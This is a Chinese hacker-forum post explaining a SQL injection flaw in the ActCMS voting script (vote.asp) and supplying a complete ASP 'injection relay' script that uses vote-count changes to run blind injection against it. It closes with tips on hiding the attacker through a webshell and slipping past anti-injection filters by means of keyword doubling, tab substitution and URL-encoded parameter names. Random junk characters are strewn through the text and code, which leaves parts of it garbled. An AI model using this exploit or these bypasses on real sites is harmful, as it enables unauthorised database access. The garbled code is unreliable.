找回密码
 立即注册
查看: 2521|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
5 ?+ |& n! a0 x  ~) Q/ D
看到ninty大牛的blog的一篇文章# J+ S. _" S* ?  C$ a
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
; m, e1 A/ D/ S# S1 e0 a  i8 ]关于actcms漏洞的利用  by 3x qq:381862589! a7 N$ d/ P; p/ I# o
转载请注明以上
& F; j  l7 _" E7 }) W5 i漏洞文件:6 v6 r& f9 T5 C7 P; z  @( i" P, O
/plus/vote/vote.asp
+ E# j- R- f  g# A7 E) b" f8 M代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
* f) u' k+ h" m0 P) ^
3 A% ?( ^+ [6 ?+ K2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
; i- _6 T+ Y0 r
* @# |! B0 y: C3    response.end    5 g' Z7 i1 R5 l3 M' W( j4 a  e
. U6 M) n5 ]5 f# {+ m" i
4    end if   
9 h0 C% i6 x, {$ {) s/ i/ t$ u8 W' T: S/ v7 K' x! t- q9 z2 n8 _; Q& b, @+ F
5    for i=1 to request("voted").count    5 T& X/ a8 C# b4 \  h' ?( \

" b0 P1 B1 ]' \# P6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    - s0 N4 n- b8 a0 ^5 L
9 h7 I8 i3 i* a" K/ d! `
7    next    4 _0 L! y' A; z6 l3 a$ ~: B  c: ^

( I1 X4 R! a% e! a* p* A8....   
$ i1 E7 G! U' ^/ P" n
- ^5 @2 S- {' i# [7 y3 j9response.Redirect "index.asp?id="&id&""   
9 e1 C: G* k1 ^- y; P, l投票结束回跳转回index.asp这个投票结果页面$ a) z0 p7 r6 `: g. r) M
如果投票成功票数加1
8 c7 ?- A% s3 k5 v6 c( n7 b" o6 z            失败票数不变% \: g. h$ B; v' c$ ]# g& u) u
如图:0 R4 p$ D7 ~) P$ X0 `$ W
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! f$ |/ e" P# B# d8 C  N7 B" W) W- m6 p$ n& q6 ~" V
2009-12-27 13:20
4 v/ S( p. K6 f2 ?+ v% g' c. T! Y* s; ?( ^& O
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了, t# S: m1 a$ M" Q* p5 I  ]

  S5 t* [5 {* d$ d/ i本帖隐藏的内容需要回复才可以浏览3 [" q; i2 c  e+ O8 R! @& \
我们用注入中转来实现这个注入具体代码如下:) p0 r% |  l# F" i% ~
先用寂寞的刺猬大牛的注入中转生成jmget.asp
' S5 U  j; f7 o) |; F注入地址:http://localhost/actcms/plus/vote/vote.asp0 I& h5 i1 u6 p6 U" d& n
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
( d4 N4 r! U! ?0 k0 V, L! {- D. `5 C! f: \. Z
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% " }0 U6 K# \7 C, x

4 Z7 I* V, N/ E* f. Z( B02JmdcwName=request("jmdcw") 8 O5 B) G9 L7 j' H0 r4 u3 I
  k6 m. y, c& s) D6 c3 l, J9 D
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] # q1 L, b. B" O: q

, B; u) U, n& p04JmStr="id=1&voted=-1 or 1="&JmdcwName
, n' ^! S& w) j0 S$ ?' z( h3 y) w' E0 ?) W  v
05JmStr=URLEncoding(JmStr)
6 |* z. X# ]* d1 i; [2 q
% Z/ r  ]/ [* @. @06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
' H8 h6 z0 A2 B( ]8 O9 m
( ~" T7 z5 F* `: Z$ X4 ]. a0 G07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
4 z) ~/ j4 k7 a- x) \6 |, H5 I7 K
# q5 y# U) p/ j+ E) |, D08testurl=testurl & "?" & JmStr
3 b: _1 R  |, {  e
; K2 D9 ?& d4 v  a3 [2 n09JMUrl=JMUrl & "?" & JmStr
# A8 }& l5 E4 |! H8 F0 V" S, M! m9 F8 \- [8 O4 n) w) m: E
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"9 y4 _3 p# h9 p, ~

. c$ V. i2 e1 A; X11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
5 N2 d8 E& T' x" l: X  S; X+ _  U* L! N1 p0 A
12JmCok=replace(JmCok,chr(32),"%20")  . n4 Q5 X3 W$ [& h$ _- @. g0 q
! N6 h: e; }: J. S5 l, N. _+ r
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
: N, D: @3 i4 Y* c+ f9 I" n1 [) V, L4 p& e) _8 g! o  P% A) T" y3 x& u
14  3 p4 \( g4 n5 l* ~+ U
! L6 G6 S0 N& u0 A' N1 Y
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
" ]0 G6 h0 p, t; x, p
) z3 n9 H' v/ q8 _6 z/ }16  ! [: s/ \* c8 b* t) }& U

: m; F/ m% k( p% R! _17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录   [2 K( m6 }6 r' m+ D7 u

) F/ |7 `3 S2 T& l; y6 [7 a) Z18response.write test1&""&test2&""2 }5 W/ o( Z9 b+ j* O9 b

5 k8 V/ i) P1 J* H0 U19    Q' z, T7 `  M* Q% o( k0 ~) `- N
7 F) l2 [8 E$ l0 ^+ |" o$ n
20if test1=test2 then '如前后记录相等,表示失败 3 Z( u: G! d, g. t. s( c0 g' e

- O# a/ m* f( N4 `21  response.write "failed"* W! J# U  |8 _% o- c& T* f
% C" A/ |) E% M5 ^) i
22else
/ K' Y) Z8 P. b+ c8 y3 f0 }
2 p1 Z1 n/ N1 K: d( j23  response.write "succeed"2 F4 |  H/ K" ~/ P$ z& A. Q; g

! I4 {9 Z. a2 K' E( _; Z2 a24end if  
5 F3 l* ]' k, ?7 V/ Y: f% i
0 q$ x6 U  _4 d9 o25  
  W2 @% l9 B# Y. u" q# u/ ?% k+ G. B. [) R( L: }
26response.write "by 3x"1 `/ j3 y+ W: B1 ]- U6 ^

, H- G. t! y6 b27  - o; t, f, ^. O

+ H+ t  i& Z/ N$ ^: a28  
, P  p4 N2 p  j0 x1 s3 p
& P; _, r# a2 z2 P& L29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
' j+ y  e& c; w3 N1 b+ O- G8 t; G) P
30Dim Http
+ G' ^2 W- {+ Z, e- b
- u8 @4 ^: _8 B31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 1 ?" _" N9 z  H  G% W' k1 }5 E
; L0 S6 i! s5 K* _
32With Http 0 C; |2 n0 k- e. C- V0 i

' G5 b5 x) }) m. A6 R. ?2 h6 u8 t33  
# ~. h$ r  {/ O2 i0 ^/ q" G! }' g2 W$ C; q# h6 \7 k: V1 i
34.Open "GET",PostUrl,False
1 @5 O2 E0 {, z, D* T: \+ R( M$ g, J$ U; ^+ w
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded": k0 l: E: E# ^4 u: }! C3 b* S
1 A2 e. @6 U" m8 c4 h7 i7 c
36.SetRequestHeader "Referer",PostRef
$ K0 s' x0 U3 r0 p2 H$ b6 ?: a! |) v( _4 A0 [6 G
37.SetRequestHeader "Cookie",PostCok
  ]5 D* K& k( e) ]3 Q, c" H0 U- v$ H; C; q
38.Send () * O6 Q/ ], [  w  f

. d: |& e* v, `: u" z0 A6 p39PostData = .ResponseBody
" _* L) g+ n! c' I$ c1 q2 B7 X! w2 Y2 z- f" s/ d3 y  d. L
40End With( I& ]5 P1 q% m+ s/ C6 l: U
5 S/ h$ Q/ Y% [1 \4 F# X/ X
41Set Http = Nothing4 U/ h" g( B/ B, _& f$ }0 d
+ Q8 x) [; x( z% l( ?% X" e
42PostData =bytes2BSTR(PostData)
) R3 S/ j% z# ^  p4 @; n, {( A3 a
43End Function
$ b$ D6 w  @( l5 H( C( a0 {2 b; |1 @2 U5 p5 g3 b7 c% l
44  $ Z1 C0 x$ d; Z+ X9 e

/ R1 p/ |: X. R* D' {/ j9 u45  3 ^* v% n# T. T/ r+ j( [+ t! s
- i* F7 Z" d' r& r1 k( P
46Function bytes2BSTR(vIn) * f- @$ J- u1 |5 ]/ d( Q4 O

8 X* W# J0 x1 e  z4 k47Dim strReturn : y1 t: k$ X! f4 w( N) ?
, w$ o( t' W. O
48Dim I, ThisCharCode, NextCharCode - C$ R! s4 J* f  Y
% v6 V0 \( ?( S* \8 [" P% m
49strReturn = ""1 ^: O; T" f; N: Q! M  q
; T8 v! Q+ D9 L& x4 A, }
50For I = 1 To LenB(vIn)
# ?  s$ _" g- U, f
) p# l, E2 [5 |) _7 {  r0 B51ThisCharCode = AscB(MidB(vIn, I, 1))
9 `- B& c) w" e8 f7 u$ ^+ q5 O5 k3 V6 `2 S
52If ThisCharCode < &H80 Then' M9 {5 y( \& R9 _, }) U& R

: v5 K. @/ z& P2 I4 U53strReturn = strReturn & Chr(ThisCharCode)
3 C5 i1 H6 h9 K" m- v( ~$ e& i6 u0 s* {' P1 S6 ?5 r' J3 M6 k* A
54Else2 |$ }7 |  e1 _6 x4 A
6 ]5 @( W* Q5 C' _( V
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
+ Z) H& I# a9 K% a6 e! [; ^
' q# o7 B& `4 M5 e' C56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 9 H* ]  @8 r" f6 x) {( ]
$ n9 D3 U* G0 n4 b: Y; l8 g
57I = I + 1
1 Z- F2 v; E+ U8 |! N
: Z+ M9 P8 u* {! Q58End If6 K& ?% D+ j/ x' I4 H

" a$ S, L5 x7 \: y59Next. m% h! p. s' N: H" r9 a

( k5 r, \% e' T/ D% V& g, }60bytes2BSTR = strReturn % Y/ K3 ?2 \0 {: t
3 b$ U# N& u* k# e0 u
61End Function; ?+ b7 [) n8 A9 R( D: D
4 l, D/ O% u2 u# Q/ H" R1 k3 x& e
62  
! v+ M/ t. w0 u. f- Y8 u  e+ D' \4 x
63Function URLEncoding(vstrin)  7 {6 K2 P5 y% K; Q% c1 `! e6 L
5 H7 t+ ?) c- w* [) M4 b8 U, K
64strReturn=""
. p$ s  D( [: g7 ~. e8 w4 j9 V6 k/ ~# j' I4 p
65Dim i
6 q" S: ~) \  N" O- A
8 N8 p& M1 A' I3 O; i4 A8 T66For i=1 To Len(vstrin) ' o/ }  p' X- w4 S

5 u3 z; d9 N4 @' S- p67ThisChr=Mid(vstrin,i,1)
2 m8 ]* o. c+ s" X! A# {, s3 b+ m2 k/ d
68if Abs(Asc(ThisChr))< &HFF Then
; u- {1 J, f9 F' T8 d
/ i, x" i9 P  V5 E69strReturn=strReturn & ThisChr - a# T6 j% H2 E; n/ H
  ]) @6 B* [6 w3 Z+ Z
70Else3 `+ a. s, z0 @' o; _0 T0 E
0 e" S  s: u; y0 R
71InnerCode=Asc(ThisChr) 1 A9 ]8 H) C1 O& U% D
% p1 e5 ^0 W3 N2 n+ [; V3 P
72If InnerCode<0 Then! r: M: _# S" \" B. \  ]

7 h* ^' n$ @" D3 f; ~2 m) ]4 E73InnerCode=InnerCode + &H10000 0 H) M9 {; \& i6 @3 v+ g

4 y* E+ Q0 Y% o; o6 m; u74End If
# x- \2 k/ R+ B1 P
* _0 z2 y# }4 C" a9 o75Hight1=(InnerCode And &HFF00) \&HFF
! `$ \* d0 B' h. G! B  P5 H3 X5 }$ a# M# N5 N# j' A( Q% W
76Low1=InnerCode And &HFF 9 d6 k7 M! e2 v' B/ ^

" t! p. f  p/ S( |/ E7 x77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) # r* V# f- h! B( M; g+ Z
2 j3 h, y$ l0 e( H6 Z
78End if
6 C$ X( @( N; \# D% N7 n9 s! ?4 W. M6 s9 x" _
79Next, A0 ]) ]9 X+ x
9 q0 y1 v: g% B- X* G& T
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
. B; S8 a( _! t5 ~
& x% {% |5 R% s81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 3 l2 Q+ w  Q) K5 P; g
8 y( R4 h4 }0 K' P; A: r* {
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
! O0 }$ Y2 F* `( _8 U. h! P' ?: ?& ?/ w$ p% K; `, ~- A) G
83URLEncoding=strReturn 8 N3 F- A  S8 i' m
1 r2 T1 W/ p5 A1 L# F* u( z  Q% S7 B
84End Function0 L: k4 \- M6 S

5 U/ Z: }' k5 e1 x85  
* J# \- ~# s0 D2 s$ z) e7 }( ]  L. g9 V: [" a8 j9 W9 V
86function getSt(body)
' k2 }5 y" \8 ~7 O' k; o. F* e, f( r) P9 s& ^. ]
87  startpot=instr(body,"投票人数:")+len("投票人数:") : t$ [* a) A& v2 e% f5 T& f/ w

6 v) w, k% @& ?: S9 Q+ z2 D# j8 A' Z88  endpot=instr(startpot,body," ")
2 I! z6 z( o% e+ }( M9 w" \/ f/ T$ F9 c, O6 a( O
89  getSt=mid(body,startpot,endpot-startpot) 6 d; F) C5 _" }8 q
. W, f. Y2 c- `% u- `9 f# Y
90end function 9 ^: Y9 `( e# |  L' F1 c
, |0 ~/ c' X: x5 O) B7 J: }9 j9 D
91%>; j& d; M3 a$ W( ]5 ?
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
" [, Q4 Q6 `7 p0 V1 p2 J测试下效果:2 \; F$ i' w  H/ j% w/ {
投票成功:. U+ L6 d, e' v0 D2 X. a7 U8 w
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
' F+ {# F' w4 `7 u& U5 d  _; L1 g0 o1 s1 u9 w. ?, G' m. ^: A
2009-12-27 13:29
1 e+ ~4 p! O4 I. g投票失败
% m/ _1 I: H$ S. n' @" r$ Jhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
* e" q0 t( X* ?1 O# X9 T2 T7 O- C
, N9 G- G; n2 @- |2009-12-27 13:295 s4 J, K: `( u- B! _
-------------------------------------------------------------------------------" g$ p) a! I& j) A/ Q: @8 m+ F& ]2 c
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以( q* L3 i8 P  C% G- S! ~2 {
很抱歉。。。只能用单线程工具去注入。。。。。0 A7 B: l+ a% m
所以失败。。。不好意思。。。
5 r/ ~( C3 W+ \! p! ]-------------------------------------------------------------------------------+ q( l$ y8 K4 X0 _

0 |8 u. L( P: x/ E注入中转的一些其他应用
1 H- b/ B- x+ v# r$ h其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
$ I& `* `8 ]0 ^1 p# O( ]6 M6 \) v1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id, d. M, t6 G2 a/ j9 c
2.post注入转成get型的注入,方便我们使用工具来跑- `& \( r0 }& q# r5 v. i/ c, w
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
7 i& k1 |. Q0 |- G+ F, _4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过- L4 |& ~6 T+ U% v$ I3 ]1 j+ K

! f# n1 q- y( a% k' O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表